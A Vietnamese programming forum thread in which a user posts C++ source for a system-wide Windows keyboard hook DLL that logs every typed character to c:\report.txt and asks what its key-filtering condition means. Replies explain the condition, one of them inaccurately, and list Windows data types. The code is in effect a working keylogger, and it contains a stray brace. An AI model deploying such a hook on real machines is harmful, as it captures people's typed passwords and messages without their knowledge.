Từ 1 tới 6 trên tổng số 6 kết quả

Đề tài: DLL HOOK ý nghĩa của hàm lọc

  1. #1
    Ngày gia nhập
    04 2008
    Bài viết
    244

    Mặc định DLL HOOK ý nghĩa của hàm lọc

    Code:
    //hook SE GHI RA FILE DE TXT
    #include "stdafx.h"
    #include "hodll.h"
    
    #ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif
    
    
    #pragma data_seg(".SHARDAT")
    static HHOOK hkb=NULL;
    FILE *f1;
    #pragma data_seg()
    
    HINSTANCE hins;
    
    LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(  int nCode,  WPARAM wParam,  LPARAM lParam)
    {                           															{
    
        char ch;			
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    	{		
    	    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
    		{
    	        f1=fopen("c:\\report.txt","a+");
    	        if (wParam==VK_RETURN)
    			{	
    				ch='\n';
    		        fwrite(&ch,1,1,f1);
    			}
                else
    			{
       	            BYTE  ks[256];
                    GetKeyboardState(ks);
    	            WORD w;
    	            UINT scan;
                 	scan=0;
    	            ToAscii(wParam,scan,ks,&w,0);
    	            ch =char(w);
    	            fwrite(&ch,1,1,f1);
    			}
                fclose(f1);
    		}
    
    	}
    
        LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );	
    
        return  RetVal;
    
    }
    BOOL __declspec(dllexport)__stdcall installhook()
    {
         f1=fopen("c:\\report.txt","w");
         fclose(f1);
         hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
    
         return TRUE;
    }
    BOOL __declspec(dllexport)  UnHook()
    {
        	
         BOOL unhooked = UnhookWindowsHookEx(hkb);
         // MessageBox(0,"exit","sasa",MB_OK);
         return unhooked;
    }
    
    BOOL CHodllApp::InitInstance ()
    {
    
         AFX_MANAGE_STATE(AfxGetStaticModuleState());
         hins=AfxGetInstanceHandle();
         return TRUE;
    
    }
    BOOL CHodllApp::ExitInstance ()
    {
         return TRUE;
    }
    cái hàm lọc màu đỏ đó mình khôgn hiểu lắm mong các bạn có thể chỉ giáo,đây là 1 file DLL của HOOK trong diễn đàn

  2. #2
    Ngày gia nhập
    07 2006
    Nơi ở
    Hanoi, Vietnam
    Bài viết
    2,750

    bạn đọc ở link sau sẽ rõ chỗ đó.
    http://msdn.microsoft.com/en-us/libr...84(VS.85).aspx

    lParam & 0x40000000: Phím nào đó sẽ được nhấn

    // Nếu phím được nhấn là phím space, hoặc là phím Enter, hoặc nằm trong khoảng từ >= phím / và <= phím cuối cùng của bảng ký tự ASCSI (Dr chả nhớ nó là phím gì). Đó chính là câu lệnh sau
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam> =0x2f ) &&(wParam<=0x100))

    Nó là như vậy đó, không cần xem nó là gì đoán cũng ra mà. hi vọng sẽ giúp ích cho bạn
    Email: admin[@]congdongcviet.com | CC to: info[@]congdongcviet.com
    Phone: 0972 89 7667 (Office: 04 6329 2380)
    Yahoo & Skype: dreaminess_world (Vui lòng chỉ rõ mục đích ngay khi liên hệ, cảm ơn!)

    Một người nào đó coi thường ý thức kỷ luật cũng có nghĩa là người đó đã coi thường tương lai số phận của chính bản thân người đó. Những người coi thường ý thức kỷ luật sẽ không bao giờ có được sự thành công trong sự nghiệp!

  3. #3
    Ngày gia nhập
    04 2008
    Bài viết
    244

    LRESULT
    cho tớ hỏi thêm là mấy cái kiểu dữ liệu LRESULT,WORD,HINSTANCE này có sách nào tiếng việt nói kỹ càng không,mình cứ cảm giác hiểu được nó nhưng rất chi là lơ mơ,không hiểu cặn kỹ chính xác như int hay long ...được

  4. #4
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Trích dẫn Nguyên bản được gửi bởi honey Xem bài viết
    cho tớ hỏi thêm là mấy cái kiểu dữ liệu LRESULT,WORD,HINSTANCE này có sách nào tiếng việt nói kỹ càng không,mình cứ cảm giác hiểu được nó nhưng rất chi là lơ mơ,không hiểu cặn kỹ chính xác như int hay long ...được
    Tất cả đều tương đương với kiểu số nguyên 4 bytes (DWORD). Mấy cái này thật ra cũng chả cần phải hiểu làm gì bởi vì khi hook cũng chẳng cần đến nó. Nó chỉ dùng để khai báo cho đúng cú pháp thôi.
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  5. #5
    Ngày gia nhập
    07 2006
    Nơi ở
    Hanoi, Vietnam
    Bài viết
    2,750

    Trích dẫn Nguyên bản được gửi bởi honey Xem bài viết
    cho tớ hỏi thêm là mấy cái kiểu dữ liệu LRESULT,WORD,HINSTANCE này có sách nào tiếng việt nói kỹ càng không,mình cứ cảm giác hiểu được nó nhưng rất chi là lơ mơ,không hiểu cặn kỹ chính xác như int hay long ...được

    Thực ra là Windows nó định nghĩa dựa trên các kiểu dữ liệu thông thường thôi mà. Có một thời dân lập trình C/C++ thích dùng kiểu dữ liệu in Hoa, trong rất nhiều code thấy họ dùng typedef tùm lum để định nghĩa lại các kiểu như là typedef int INT | typedef long LONG | .... Sau này MS thấy thế chắc làm theo đó. Xem thông tin ở đây, xem xong hóa ra là chẳng có gì cả.
    http://msdn.microsoft.com/en-us/library/aa383751.aspx
    Email: admin[@]congdongcviet.com | CC to: info[@]congdongcviet.com
    Phone: 0972 89 7667 (Office: 04 6329 2380)
    Yahoo & Skype: dreaminess_world (Vui lòng chỉ rõ mục đích ngay khi liên hệ, cảm ơn!)

    Một người nào đó coi thường ý thức kỷ luật cũng có nghĩa là người đó đã coi thường tương lai số phận của chính bản thân người đó. Những người coi thường ý thức kỷ luật sẽ không bao giờ có được sự thành công trong sự nghiệp!

  6. #6
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Mặc định DLL HOOK ý nghĩa của hàm lọc

    Code:
    Trích dẫn:
    LRESULT
    cho tớ hỏi thêm là mấy cái kiểu dữ liệu LRESULT,WORD,HINSTANCE này có sách nào tiếng việt nói kỹ càng không,mình cứ cảm giác hiểu được nó nhưng rất chi là lơ mơ,không hiểu cặn kỹ chính xác như int hay long ...được
    Code:
    HANDLE	Số nguyên 32-bit, định danh. 
    HWND	Số nguyên 32-bit, định danh.
    BYTE	Giá trị 8-bit không dấu.
    WORD	Số nguyên 16-bit không dấu.
    DWORD	Số nguyên 32-bit không dấu.
    UINT	Số nguyên không dấu 32-bit.
    LONG	long 32-bit.
    BOOL	Bool.
    LPSTR	Con trỏ chuỗi.
    LPCSTR	Hằng con trỏ chuỗi.
    WPARAM	32-bit.
    LPARAM	32-bit.
    BSTR	Giá trị 32-bit trỏ đến kí tự.
    LPVOID	Con trỏ 32-bit đến một kiểu không xác định.
    LPTSTR	Giống như LPSTR nhưng có thể chuyển sang dạng Unicode và DBCS.
    LPCTSTR	Giống như LPCTSTR nhưng có thể chuyển sang dạng Unicode và DBCS.
    đây là 1 số kiểu

Các đề tài tương tự

  1. Mouse hook system-wide lại chạy như local hook ???
    Gửi bởi nguoixanh trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 1
    Bài viết cuối: 12-11-2013, 04:02 PM
  2. Mouse hook system-wide lại chạy như local hook ???
    Gửi bởi nguoixanh trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 1
    Bài viết cuối: 12-11-2013, 03:01 PM
  3. Hook keyboard và mouse hook trong c# không cần code
    Gửi bởi tienlbhoc trong diễn đàn Tutorials và Thủ thuật lập trình C#, ASP.NET
    Trả lời: 7
    Bài viết cuối: 23-06-2013, 01:27 PM
  4. [Kernel Driver] ShaDow SSDT Hook Có Phải là Hook đồ Họa
    Gửi bởi chàng trai dễ thương trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 0
    Bài viết cuối: 11-10-2009, 07:48 AM
  5. Ý nghĩa của tham số trong hàm Hook?
    Gửi bởi nickxxx trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 8
    Bài viết cuối: 26-06-2007, 08:28 AM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn